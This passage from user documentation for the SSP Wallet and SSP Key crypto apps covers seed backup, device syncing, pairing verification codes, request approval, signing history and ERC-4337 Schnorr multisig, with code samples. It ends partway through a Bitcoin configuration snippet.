Please back up this seed phrase offline and store it separately. It backs up **Key #2 only** — one of the two keys in your 2-of-2 wallet — so on its own it cannot move funds; your SSP Wallet holds Key #1, which has its own separate seed phrase. Back up **both** seeds separately: if a key's device **and** its seed phrase are both lost, the 2-of-2 can no longer sign and the funds are frozen. By clicking "Show Mnemonic Wallet Seed Phrase" you will be presented with your own unique seed phrase.
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FoPXtH81c5ZIsDnrok9qE%2Fimage.png?alt=media&amp;token=649b282d-be63-4c4c-8708-2ff50d72d69d" alt="" width="281"><figcaption></figcaption></figure></div>

After you back up your seed phrase, SSP Key v2 verifies your backup with a short **word challenge**: you'll be asked to pick 3 specific words of your phrase (e.g. "Select word #5") from a set of choices. This replaces the old "I have backed it up" switch — you need your written backup at hand to pass it. Once you see "Backup confirmed", click "Setup Key!"

{% hint style="info" %}
Synchronisation to SSP Wallet is needed to continue. SSP Wallet must also be created for this setup, please use this guide: [https://app.gitbook.com/o/JAOVHXmS0zOqrz6ohvwK/s/OLYjN2kelo3HWVPLgZVU/\~/changes/7/getting-started-with-ssp-wallet/quickstart-1](/docs/getting-started-with-ssp-wallet/wallet/quickstart-1)
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FRSNH0017BUG5gk01oTur%2Fimage.png?alt=media&amp;token=c024a9ad-627a-40f0-8318-ff0868d928fe" alt="" width="315"><figcaption></figcaption></figure></div>

{% hint style="info" %}
In SSP Wallet creation you need to be in this Sync SSP Key step in order to sync up with SSP Key
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FReEwDQg0wwrp2EPnXrLe%2Fimage.png?alt=media&amp;token=51634acd-c832-412e-8958-b40f6a4a075d" alt="" width="290"><figcaption></figcaption></figure></div>

In your SSP Key click "Scan Code" to scan the QR code in your SSP Wallet

{% hint style="info" %}
SSP Key needs to have permission to take picture, it is recommended to select allow while using the app.
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FlesZW0tU8q7oB7CIt1dT%2Fimage.png?alt=media&amp;token=02602540-6758-47e3-91a0-b8717b792f97" alt="" width="290"><figcaption></figcaption></figure></div>

{% hint style="info" %}
For iOS users you can go to Settings > Apps > SSP Key , then find the camera settings and toggle on
{% endhint %}

After scanning the SSP Wallet QR code, review the synchronisation request on your SSP Key and **slide to approve** it

{% hint style="info" %}
If your SSP Wallet requested several chains at once (multi-chain batch sync), the request names every chain being activated — one approval covers them all, and the Key shows live progress as it prepares keys for each chain.
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FfvRRuYYa2n1AdY8Q1YhI%2Fimage.png?alt=media&amp;token=0d89d7e6-a758-401c-ad32-1e7a03d06358" alt="" width="290"><figcaption></figcaption></figure></div>

Please type your password in the "Confirm Key Password" text box, then click "Confirm"

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FzqI68mu2KcLbHVbvGgaA%2Fimage.png?alt=media&amp;token=2eb6d36e-37eb-4858-98d5-705577da27c7" alt="" width="290"><figcaption></figcaption></figure></div>

{% hint style="info" %}
You can also use the fingerprint scanner or face recognition of your device in syncing
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FaiAHLj7UoL91jsb5kHZN%2Fimage.png?alt=media&amp;token=daa6607d-0803-48a6-a59c-45d2e97a109b" alt="" width="314"><figcaption></figcaption></figure></div>

{% hint style="warning" %}
**Verify the pairing.** After syncing, both devices show the same **6-word verification code**. In SSP Key, tap **"Scan wallet to verify"** and scan the wallet's verification QR — or compare the 6 words on both screens. They must match exactly; if they differ, stop and re-pair. See [Pairing Verification Code](/docs/getting-started-with-ssp-key/pairing-verification-code).
{% endhint %}

Congratulations for creating a new key and synching your SSP Wallet and SSP Key!


# Restore Key Using Seed Phrase and Syncing to SSP Wallet

{% hint style="info" %}
Restoring Key using Seed Phrase is a way to restore your key using your backed up seed phrase when you created your key.
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F5YijZmOwgxzmjACMqJ3n%2Fimage.png?alt=media&amp;token=d5031326-e567-470e-8b86-8d7ad1f202d5" alt="" width="281"><figcaption></figcaption></figure></div>

Click "Restore Key"

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F9DQSfKKZG6rTg19jRx5T%2Fimage.png?alt=media&amp;token=1e088c80-b8db-432e-a0be-ace9a5a30315" alt="" width="284"><figcaption></figcaption></figure></div>

Provide your backed up seed phrase on "Input your Mnemonic Key Seed Phrase" text area. Also, provide password value on "Set SSP Key Password" and "Confirm Key Password".

Click "Import Key" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FacaXKEKYNcWS4yfOkoDh%2Fimage.png?alt=media&amp;token=c5afe4db-f484-40e2-a68a-d8d2a4fa7213" alt="" width="284"><figcaption></figcaption></figure></div>

Click "Show Mnemonic Key Seed Phrase"

{% hint style="info" %}
Please back up this seed phrase offline and store it separately. It backs up **Key #2 only** — one of the two keys in your 2-of-2 wallet — so on its own it cannot move funds; your SSP Wallet holds Key #1, which has its own separate seed phrase. Back up **both** seeds separately: if a key's device **and** its seed phrase are both lost, the 2-of-2 can no longer sign and the funds are frozen. By clicking "Show Mnemonic Wallet Seed Phrase" you will be presented with your own unique seed phrase.
{% endhint %}

After you backup your seed phrase toggle "I have backed up my keys seed phrase in a secure location." then click "Setup Key!"

In your SSP Wallet, open the **Menu** tab (the ☰ icon in the bottom bar)

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FkJw4R7OkBMDfgFoASxCd%2Fimage.png?alt=media&amp;token=2d501661-6093-4ca6-806a-8d78ec0451f6" alt="" width="304"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FWcavzocaEX0aBYnewFBa%2Fimage.png?alt=media&amp;token=03097109-2845-4f25-8e77-2f362bef4c35" alt=""><figcaption></figcaption></figure></div>

Click "SSP Wallet Details"

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FRDdbGZhX2D111GXZlTGy%2Fimage.png?alt=media&amp;token=26229f6e-58e0-459c-ad4d-14a193dd9cf0" alt="" width="179"><figcaption></figcaption></figure></div>

Input your password on "Confirm with Password" , then click "Grant Access" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fk32v6RWoorjIcpyerx9Z%2Fimage.png?alt=media&amp;token=b1c8e24a-5dc1-4e00-b647-1e1771237d4d" alt="" width="308"><figcaption></figcaption></figure></div>

Scroll down and you will find SSP Sync with SSP Key

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fqg3XZOgMUzX11ZgtMcXC%2Fimage.png?alt=media&amp;token=424e3979-ec19-46a1-992e-f11b9fec5c58" alt="" width="308"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FhpZeT4tscvqAmtDn8zAE%2Fimage.png?alt=media&amp;token=2d5aab53-6604-452d-8b56-b0ec1e18e5e1" alt=""><figcaption></figcaption></figure></div>

Click unhide icon

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FnkwZf27TUN6nGbN8VmrW%2Fimage.png?alt=media&amp;token=53cd4fd2-cb1a-4e51-af44-e81574b11260" alt="" width="306"><figcaption></figcaption></figure></div>

In your SSP Key click "Scan Code" to scan the QR code in your SSP Wallet

{% hint style="info" %}
SSP Key needs to have permission to take picture, it is recommended to select allow while using the app.
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FNZeE0A6n7anPhRP7QLUi%2Fimage.png?alt=media&amp;token=04cd7a85-446c-4b45-b409-e62c62fe00b7" alt="" width="301"><figcaption></figcaption></figure></div>

{% hint style="info" %}
For iOS users you can go to Settings > Apps > SSP Key , then find the camera settings and toggle on
{% endhint %}

After scanning the SSP Wallet QR code, review the synchronisation request on your SSP Key and **slide to approve** it

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FAgg4AlFNNqKYzBuqUJSc%2Fimage.png?alt=media&amp;token=c8792f55-6f0e-4ecf-85ec-740cf5bf79cf" alt="" width="301"><figcaption></figcaption></figure></div>

Please type your password in the "Confirm Key Password" text box, then click "Confirm"

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FXRdNCXiLheJTAZunjIZF%2Fimage.png?alt=media&amp;token=74e198d7-fc7d-48af-a290-51d411116509" alt="" width="301"><figcaption></figcaption></figure></div>

{% hint style="info" %}
You can also use the fingerprint scanner or face recognition of your device in syncing
{% endhint %}

{% hint style="warning" %}
**Verify the pairing.** After syncing, both devices show the same **6-word verification code**. In SSP Key, tap **"Scan wallet to verify"** and scan the wallet's verification QR — or compare the 6 words on both screens. They must match exactly; if they differ, stop and re-pair. See [Pairing Verification Code](/docs/getting-started-with-ssp-key/pairing-verification-code).
{% endhint %}

Congratulations for restoring your key and synching your SSP Wallet and SSP Key!


# Retrieving Your SSP Key Seed Phrase

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FDsIgLYfhzHvXsljO7iiT%2Fimage.png?alt=media&amp;token=52eb4c3b-0596-4f5c-a6b7-c78148edbd4c" alt="" width="284"><figcaption></figcaption></figure></div>

From your main screen open the menu (icon in the top bar)

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FLDioScXKhQJGCERMDNNN%2Fimage.png?alt=media&amp;token=b3604716-3570-49dc-8276-89078e02e45c" alt="" width="284"><figcaption></figcaption></figure></div>

Click "SSP Key Details"

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FF6bkLgvFC9L0N5DisnrE%2Fimage.png?alt=media&amp;token=2c7421aa-0b7c-4b12-851c-3bec98076751" alt="" width="284"><figcaption></figcaption></figure></div>

{% hint style="info" %}
You can also use the fingerprint scanner or face recognition of your device
{% endhint %}

Click "Grant Access" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F5pjiHfVvW4HAAWxYYzbj%2Fimage.png?alt=media&amp;token=d2743324-4f33-4e90-8e13-c28eb9d4fa44" alt="" width="284"><figcaption></figcaption></figure></div>

In SSP Key Mnemonic Seed Phrase click unhide button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FKzHUfyN0vocaOUmq4uMA%2Fimage.png?alt=media&amp;token=7b9dd526-8dee-43bd-8289-c6154d536099" alt=""><figcaption></figcaption></figure></div>

{% hint style="info" %}
Please back up this seed phrase offline and store it separately. It backs up **Key #2 only** — one of the two keys in your 2-of-2 wallet — so on its own it cannot move funds; your SSP Wallet holds Key #1, which has its own separate seed phrase. Back up **both** seeds separately: if a key's device **and** its seed phrase are both lost, the 2-of-2 can no longer sign and the funds are frozen. By clicking "Show Mnemonic Wallet Seed Phrase" you will be presented with your own unique seed phrase.
{% endhint %}

Congratulations for retrieving your SSP Key Seed Phrase!


# Using Your SSP Key For Syncing

{% hint style="info" %}
SSP Wallet requires synching from SSP Key which serves as your security for every activities made from your SSP Wallet. This enables you to have a secure transactions and activities on SSP Wallet and eliminates bad actors intentionally making activities using your SSP Wallet.
{% endhint %}

{% hint style="info" %}
With both apps on v2, syncing usually needs no scanning at all: SSP Wallet sends the request through the relay and it pops up on your SSP Key — including multi-chain **batch sync**, where one approval activates several chains at once. The QR code and manual input remain available as a fallback and for offline use.
{% endhint %}

{% hint style="info" %}
From your SSP Wallet, when the pairing/sync screen shows a QR code, you can scan it using your SSP Key — or copy the wallet's sync data from the manual tab into SSP Key's Manual Input
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FjwBT6Sw3U0Abw09xiwzE%2Fimage.png?alt=media&amp;token=21e4a199-9b9d-45ec-a0b3-2aecd71d301f" alt="" width="305"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FAUjSIZHmnFUVo1F5kjp9%2Fimage.png?alt=media&amp;token=e9891ef1-43dd-4184-85c1-835f27ba9860" alt="" width="305"><figcaption></figcaption></figure></div>

From the main screen SSP Key click "Scan Code" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FdlpoybwbgRZw3NLOIEV4%2Fimage.png?alt=media&amp;token=e2813f07-f6bd-477a-92ad-01e00a492bea" alt="" width="285"><figcaption></figcaption></figure></div>

Scan the QR code from your SSP Wallet

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FO78mmEm64QSzd4OwEj8K%2Fimage.png?alt=media&amp;token=12ff60d1-08f3-41f2-8a9c-a9888871da4a" alt="" width="285"><figcaption></figcaption></figure></div>

{% hint style="info" %}
SSP Key needs to have permission to take picture, it is recommended to select allow while using the app.
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FCLJiQsu6tQLz5zLSCmov%2Fimage.png?alt=media&amp;token=c44bee38-0cfe-484f-9783-37ff23977758" alt="" width="284"><figcaption></figcaption></figure></div>

{% hint style="info" %}
For iOS users you can go to Settings > Apps > SSP Key , then find the camera settings and toggle on
{% endhint %}

After scanning the SSP Wallet QR code, review the synchronisation request on your SSP Key and **slide to approve** it

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fo1sBPz2Ce3vRpZjQmuLn%2Fimage.png?alt=media&amp;token=c53282b6-467a-4313-96a1-3e0c9e40ae92" alt="" width="286"><figcaption></figcaption></figure></div>

Please type your password in the "Confirm Key Password" text box, then click "Confirm"

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FhwW6ODlZhldQ32DfvbrG%2Fimage.png?alt=media&amp;token=47f3cf54-c800-40c3-a90a-aa91f51dcc62" alt="" width="286"><figcaption></figcaption></figure></div>

{% hint style="info" %}
You can also use the fingerprint scanner or face recognition of your device in syncing
{% endhint %}

{% hint style="warning" %}
**Verify the pairing.** After syncing, both devices show the same **6-word verification code** — scan the wallet's verification QR with your SSP Key, or compare the words. If they differ, stop and re-pair: [Pairing Verification Code](/docs/getting-started-with-ssp-key/pairing-verification-code).
{% endhint %}

Congratulations for synching your SSP Wallet and SSP Key!


# Pairing Verification Code

Starting with SSP v2, every time your SSP Wallet and SSP Key sync — first pairing, chain activation, or re-pairing — **both devices show a verification code of 6 words**. Comparing these words is how you personally verify that your pairing was not tampered with. Take a moment to do it every time.

## What it looks like

* After a successful sync, **SSP Wallet** shows: *"Verify this matches your SSP Key"* with 6 words and a QR code.
* **SSP Key** shows: *"Verify this matches your SSP Wallet"* with its own 6 words.

You confirm one of two ways:

1. **Scan to verify (recommended)** — in SSP Key, tap **Scan wallet to verify** and scan the wallet's verification QR code. The Key compares the codes for you and shows either *"Verified — your devices match, safe to continue"* or a loud **MISMATCH** warning.
2. **Compare by eye** — read the 6 words on both screens. They must be **exactly the same words in the same order**. If they match, choose **"They match — continue"** in the wallet.

## Why this matters

SSP Wallet and SSP Key exchange public keys through the SSP Relay server. The relay never sees private keys or seed phrases — but a hostile or compromised relay could, in theory, try to substitute key material during the exchange so that the resulting 2-of-2 wallet is not entirely under your control.

The verification code defeats this:

* Each device **independently derives the 6 words from its own view of the two synced keys** (a cryptographic hash of the key pair, rendered as words).
* The relay never generates or transports the code — it cannot forge it.
* If anyone — including the relay — swapped any key on any chain during sync, the two devices would be hashing **different** key material, and the words would **not** match.

Matching words are proof that both devices hold the same key pair, and therefore that your pairing is exactly the 2-of-2 between your two devices and nothing else.

{% hint style="info" %}
The code covers **all chains synced in that session**: with multi-chain batch sync, one comparison verifies every chain activated in that batch. A tampered key on *any* of them would change the words.
{% endhint %}

## If the words differ

{% hint style="danger" %}
**If the two devices show different words, STOP.**

* Do **not** use the wallet and do **not** send any funds to its addresses.
* Choose **"They don't match"** in SSP Wallet. The affected sync is not activated.
* Remove the pairing and pair again, ideally on a network you trust. If the mismatch repeats, report it immediately via [GitHub Issues](https://github.com/RunOnFlux/ssp-wallet/issues) or [support.runonflux.io](https://support.runonflux.io).

A mismatch does not endanger funds already on previously verified addresses — it means the *new* sync must not be trusted.
{% endhint %}

## Notes

* The verification code is **display-only**. It plays no role in key derivation or signing — it exists purely so you can check the sync.
* The words are drawn from the same word list as seed phrases, but they are **not a seed** and **not secret**. Showing them to someone reveals nothing about your keys.
* Both apps must be on v2 to show the code. If your SSP Key is still on v1, the sync itself works as before — update the Key to get the verification step.
* The manual/offline pairing path (scanning QR codes directly, without the relay) also ends with the verification code on v2 — compare the words there too.


# Approving Requests with SSP Key

SSP Key v2 rebuilds the approval moment from the ground up. Every request — transactions, chain activations, message signing, dApp requests — shares one clean layout, and every approval is a deliberate gesture.

## Decoded on your device, in plain language

When a request arrives, SSP Key **decodes it on your phone** and presents a plain-language summary — e.g. the amount, the token, and the recipient of a send. The details shown are taken from the raw data being signed, **never trusted from the network**: what you read on the Key's screen is what you sign.

Always verify on the SSP Key screen before approving:

* The **action** — what the transaction actually does
* The **full recipient address** — compare it with what you entered in SSP Wallet
* The **amount** and **network fee**

Advanced users can expand the raw data behind the summary.

## Token approval warnings

Some dApp transactions don't move funds directly — they grant a contract permission to spend your tokens later. SSP Key v2 calls these out loudly:

{% hint style="warning" %}

* **Unlimited allowances** — a request to "Allow UNLIMITED spending" grants the named spender the right to spend an unbounded amount of that token. Only approve for contracts you fully trust, and prefer dApps that request limited amounts.
* **NFT collection-wide operator grants** — a "set approval for all" request lets the named operator transfer **every token you own in that contract**. Treat it with the same caution as an unlimited allowance.
  {% endhint %}

In both cases the Key names the spender/operator address so you can verify it.

## Slide to approve

Approving is a slide gesture: **slide the control all the way to the right** to approve. Release early and nothing happens — an accidental tap can never sign anything. After the slide, your **biometric or password confirmation** is still required, exactly as before.

Rejecting is always a plain, immediately reachable button — declining a request never requires extra steps.

{% hint style="info" %}
Nothing in SSP ever auto-approves. Every signature requires the slide gesture plus your biometric/password on the Key. That friction is deliberate — it is your second factor doing its job.
{% endhint %}

## After approving

The signed response returns to your SSP Wallet through the relay (or via QR in offline mode), the wallet combines both signatures, and the transaction broadcasts. On the wallet side you'll see the live 2-of-2 handshake screen progress from *Sent* → *Awaiting approval* → *Approved*.

Every action you co-sign is recorded in your Key's local [Signing History](/docs/getting-started-with-ssp-key/signing-history-and-privacy-mode).


# Signing History & Privacy Mode

## Signing History

SSP Key v2 keeps a **Signing History** — a log of everything this Key has co-signed: transactions, EVM messages, identity messages, vault transactions, shared public nonces, and other signed actions, each with its time and details.

Its privacy properties are strict:

* **Local only** — the log is stored **only on your device** and is never sent anywhere, not even to the SSP Relay.
* **Encrypted** — stored with the same encryption that protects the rest of your Key's data.
* **Biometric-gated** — opening the history requires your biometric or password, just like signing.

You can permanently delete the log at any time with **Clear history**. This cannot be undone and affects only the local record — it has no effect on the blockchain or your wallet.

{% hint style="info" %}
The history is a convenience record for you. It plays no role in signing, and losing it (e.g., restoring the Key on a new phone) loses nothing but the log itself.
{% endhint %}

## Privacy Mode

**Privacy Mode** masks wallet identities and transaction references shown in the signing history — useful if someone glances at your phone.

{% hint style="warning" %}
Details **inside signing requests are never masked** — when you approve something, you must always see exactly what you are signing. Privacy Mode only affects the history view.
{% endhint %}

The wallet side has its own privacy mode too: tap your balance in SSP Wallet to blur every amount. See [Navigating SSP Wallet](/docs/getting-started-with-ssp-wallet/navigating-ssp-wallet).


# Account Abstraction Explained

## Overview

On every supported **EVM** chain, SSP funds are held in **ERC-4337 smart-contract accounts** secured by a **Schnorr 2-of-2 multisignature** — this is SSP's native architecture for those chains, **not** an optional feature you turn on. There is no plain EOA (externally owned account) option and no single importable private key for an SSP EVM address; every spend is submitted as an ERC-4337 UserOperation signed by **both** keys (SSP Wallet + SSP Key).

Account Abstraction applies to EVM chains only. Other chain families use their own native 2-of-2 multisig:

* **EVM** (Ethereum, Polygon, BSC, Base, Avalanche, …): ERC-4337 smart accounts, Schnorr 2-of-2.
* **UTXO** (Bitcoin, Litecoin, Dogecoin, …): native P2SH / P2WSH 2-of-2 multisig.
* **Solana**: PDA vault multisig (the SSP Relay paymaster signs the fee-payer slot).

In all cases the security model is the same strict **2-of-2**: both keys are required for every transaction. Account Abstraction changes *how* an EVM address is constructed and how transactions are submitted — it does not add a third key or weaken the multisig.

## How SSP implements Account Abstraction on EVM

Each EVM address is a **CREATE2-deterministic** ERC-4337 smart account, derived from the chain's factory + entrypoint, the two combined Schnorr public keys, and a fixed account salt. Because it is derived from *both* keys, no single seed or private key reproduces the address.

| Network       | Chain ID | Factory Address                              | Entry Point                                  |
| ------------- | -------- | -------------------------------------------- | -------------------------------------------- |
| **Ethereum**  | 1        | `0x3974821943e9cA3549744D910999332eE387Fda4` | `0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789` |
| **Polygon**   | 137      | `0x3974821943e9cA3549744D910999332eE387Fda4` | `0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789` |
| **BSC**       | 56       | `0x3974821943e9cA3549744D910999332eE387Fda4` | `0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789` |
| **Base**      | 8453     | `0x3974821943e9cA3549744D910999332eE387Fda4` | `0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789` |
| **Avalanche** | 43114    | `0x3974821943e9cA3549744D910999332eE387Fda4` | `0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789` |

### Schnorr multisignature integration

SSP combines Account Abstraction with Schnorr multisignatures — both the SSP Wallet key and the SSP Key contribute a signature that is aggregated for on-chain verification:

```typescript
import * as aaSchnorrMultisig from '@runonflux/aa-schnorr-multisig-sdk';

// Schnorr signers for both keys
const signerOne = aaSchnorrMultisig.helpers.SchnorrHelpers.createSchnorrSigner(walletPrivateKey);
const signerTwo = aaSchnorrMultisig.helpers.SchnorrHelpers.createSchnorrSigner(mobilePrivateKey);

const publicKeys = [signerOne.getPubKey(), signerTwo.getPubKey()];
const publicNonces = [signerOne.getPubNonces(), signerTwo.getPubNonces()];
const combinedPublicKey = aaSchnorrMultisig.signers.Schnorrkel.getCombinedPublicKey(publicKeys);
```

### Transactions are UserOperations

EVM spends are built as ERC-4337 UserOperations rather than plain transactions:

```typescript
const userOp: UserOperationRequest_v6 = {
  sender: smartAccountAddress,
  nonce: await getNonce(),
  callData: encodedTransactionData,
  callGasLimit: '750000',
  verificationGasLimit: '100000',
  preVerificationGas: '21000',
  maxFeePerGas: baseFee.toString(),
  maxPriorityFeePerGas: priorityFee.toString(),
  signature: schnorrMultisigSignature
};
```

```typescript
// From SSP's constructTx.ts
const smartAccountClient = createSmartAccountClient({
  transport: viemHttp(node),
  chain: viemChain,
  account: {
    address: contractAddress as `0x${string}`,
    async signMessage() {
      return await generateSchnorrMultisigSignature(); // SSP's Schnorr 2-of-2 signing
    }
  }
});
```

### Message signing with Schnorr

```typescript
const { signature: sigOne, challenge } = signerOne.signMultiSigMsg(message, publicKeys, publicNonces);
const { signature: sigTwo } = signerTwo.signMultiSigMsg(message, publicKeys, publicNonces);
const sSummed = aaSchnorrMultisig.signers.Schnorrkel.sumSigs([sigOne, sigTwo]);

// ABI encode for on-chain verification
const px = ethers.hexlify(combinedPublicKey.buffer.subarray(1, 33));
const parity = combinedPublicKey.buffer[0] - 2 + 27;
const sigData = abiCoder.encode(
  ['bytes32', 'bytes32', 'bytes32', 'uint8'],
  [px, challenge.buffer, sSummed.buffer, parity]
);
```

## What this means for you

* **It's automatic.** You don't enable or configure Account Abstraction — when you use an EVM chain in SSP, your address is already an ERC-4337 smart account. Sending works the same way as any other chain in the UI.
* **No EOA / no single private key.** An SSP EVM address is not a MetaMask-style EOA; you cannot export a single private key that controls it, and importing one of the seeds elsewhere yields a different, empty account. Access is only ever via the 2-of-2 (both keys), restorable from the two seed phrases.
* **First send deploys the account.** Like all ERC-4337 accounts, the smart account is deployed on-chain with its first UserOperation; SSP handles this for you.
* **Recovery is by seed phrase only.** There is no social recovery, guardians, or third key. Back up **both** seed phrases separately. See [Lost or Replaced a Device?](/docs/troubleshooting-and-support/lost-or-replaced-device).

## Additional resources

* [**Account Abstraction Implementation**](/docs/ssp-ecosystem-architecture/account-abstraction) — deeper technical reference
* [**Schnorr Multisig Summary**](https://github.com/RunOnFlux/ssp-docs/blob/master/schnorr-multisig-summary.md) — signature implementation details
* [**ERC-4337 Standard**](https://eips.ethereum.org/EIPS/eip-4337) — Account Abstraction specification
* [**SSP AA SDK**](https://github.com/RunOnFlux/aa-schnorr-multisig-sdk) — Schnorr multisig integration
* [**Account Abstraction Repository**](https://github.com/RunOnFlux/account-abstraction) — SSP's AA implementation

***

**On EVM chains, Account Abstraction is SSP's built-in architecture — ERC-4337 smart accounts secured by a Schnorr 2-of-2 multisignature, with the same both-keys-required security as SSP's UTXO and Solana multisig.**


# Supported Blockchains Overview

## Multi-Chain Architecture

SSP Wallet supports **13 mainnet blockchain networks** (plus testnets and Solana devnet) with true multisignature capabilities across UTXO, EVM-compatible and Solana blockchains. Each network uses the optimal implementation:

* **UTXO Networks**: Native P2SH/P2WSH multisignature addresses
* **EVM Networks**: ERC-4337 smart-contract accounts (CREATE2-derived), controlled by a 2-of-2 Schnorr multisig — not EOAs
* **Account Abstraction**: The native and only EVM mode; every EVM address is an ERC-4337 smart account signed by both keys
* **Solana**: SSP's own self-initiating on-chain multisig program; funds live in a Program-Derived Address vault

All networks maintain the same **2-of-2 multisignature security model** using BIP48 key derivation.

## 🔗 Supported Networks

### Bitcoin-Based (UTXO) Networks

#### Bitcoin (BTC)

* **Network**: Bitcoin Mainnet
* **Address Type**: P2WSH (Pay-to-Witness-Script-Hash) multisignature
* **Derivation Path**: `m/48'/0'/0'/2'/0/0`
* **Script Type**: `p2wsh` (SegWit native)
* **Features**:
  * Native 2-of-2 multisignature addresses
  * Replace-by-Fee (RBF) support
  * SegWit for lower fees and faster confirmation
  * Bech32 address format (`bc1...`)

```typescript
// Actual Bitcoin configuration from blockchains.ts
const btc = {
  id: 'btc',
  libid: 'bitcoin',
  name: 'Bitcoin',
  symbol: 'BTC',
  decimals: 8,
  slip: 0, // BIP44 coin type
  scriptType: 'p2wsh', // SegWit multisig
  bech32: 'bc1',
  dustLimit: 546, // 546 satoshi minimum
  minFeePerByte: 1,
